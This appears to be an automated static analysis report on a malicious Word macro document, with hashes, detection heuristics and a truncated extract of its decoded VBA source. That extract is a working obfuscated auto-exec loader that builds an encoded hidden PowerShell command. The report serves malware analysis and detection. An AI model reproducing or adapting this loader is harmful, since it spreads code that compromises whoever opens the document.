Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eff392eb61fb2740…

MALICIOUS

Office (OLE)

49.5 KB Created: 2018-11-01 07:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 1ee8339c87b2621e5d15aa6f3951a5d2 SHA-1: 1d0f55ae151e2ec7ecf75e81502cdd41a4149fbd SHA-256: eff392eb61fb27402cf2c5b897678f6d3d05c03e0ecdf2726da451a3526ff38c
362 Risk Score

Heuristics 10

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18504 bytes
SHA-256: 3c0015af72a38f9bc840c6e8eef4be241102e7a02f6d79bff0d7a25fc88fbea5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const mlwnuntlgb = 2
Const rpocyjiqia = 1
Const hglvferarm = 0
Sub Auto_Open()
kTCq
End Sub
Sub AutoOpen()
kTCq
End Sub
Sub Document_Open()
kTCq
End Sub
Public Function kbyuogaaprwr() As Variant
Dim rwzybwqfiiqyqogkcr As String
rwzybwqfiiqyqogkcr = jiynlmpwkjwc("706f7765727368656c6c202d6e6f") & jiynlmpwkjwc("50202d737461202d772031202d656e63202053514247414367414a41425141464d415667")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("426c414649415577424a41473841626742554145454151674273414555414c67425141464d41566742") & jiynlmpwkjwc("6c4148494163774270")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("4147384162674175414530415151427141473841636741674143304152774246414341414d774170414873414a41") & jiynlmpwkjwc("42484146")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("414152674139414673") & jiynlmpwkjwc("415567426c414759415851417541454541557742544147554162514243414577415751417541456341")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("525142304146514165514277414755") & jiynlmpwkjwc("414b41416e41464d416551427a414851415a5142744143344154514268414734415951")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("426e414755416251426c4147344164414175414545416451423041473841625142684148514161") & jiynlmpwkjwc("514276414734414c674256")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("414851416151427341484d414a77417041433441496742484147554164") & jiynlmpwkjwc("41424741476b415a514267414777415a4141694143")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("67414a77426a414745415977426f414755415a41424841484941627742314148414155414276414777") & jiynlmpwkjwc("416151426a41486b41")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("5577426c4148514164414270414734415a77427a41436341") & jiynlmpwkjwc("4c41416e414534414a7741724143634162774275414641416451")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("4269414777416151426a4143774155774230414745416441427041474d414a77417041447341") & jiynlmpwkjwc("53514247414367414a414248")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("4146") & jiynlmpwkjwc("414152674170414873414a41424841464141517741394143514152774251414559414c67424841475541644142574145")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("454154414231414555414b41") & jiynlmpwkjwc("416b4145344156514273414577414b51413741456b415267416f414351415277425141454d41")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("5777416e41464d415977427941476b4163414230414549414a7741724143634162414276") & jiynlmpwkjwc("41474d416177424d414738415a77")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("426e41476b416267426e4143634158514170414873414a4142484146") & jiynlmpwkjwc("414151774262414363415577426a4148494161514277")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("414851") & jiynlmpwkjwc("415167416e414373414a7742734147384159774272414577416277426e4147634161514275414763414a7742644146")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("73414a774246") & jiynlmpwkjwc("4147344159514269414777415a51425441474d41636742704148414164414243414363414b77416e41477741")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("6277426a4147734154414276414763415a774270414734415a77416e41") & jiynlmpwkjwc("46304150514177414473414a414248414641415177")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("4262414363415577426a4148494161514277414851415167416e414373414a7742734147384159774272") & jiynlmpwkjwc("414577416277426e")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("4147634161514275414763414a774264414673414a7742464147344159514269414777415a51425441474d416367") & jiynlmpwkjwc("42704148")
rwzybwqfiiqyqogkcr = rwzybwqfiiqyqogkcr + jiynlmpwkjwc("414164414243414777416277426a4147734153514275414859416277426a414745416441") & jiynlmpwkjwc("4270414738416267424d41473841")
rwzybwqfii
... (truncated)

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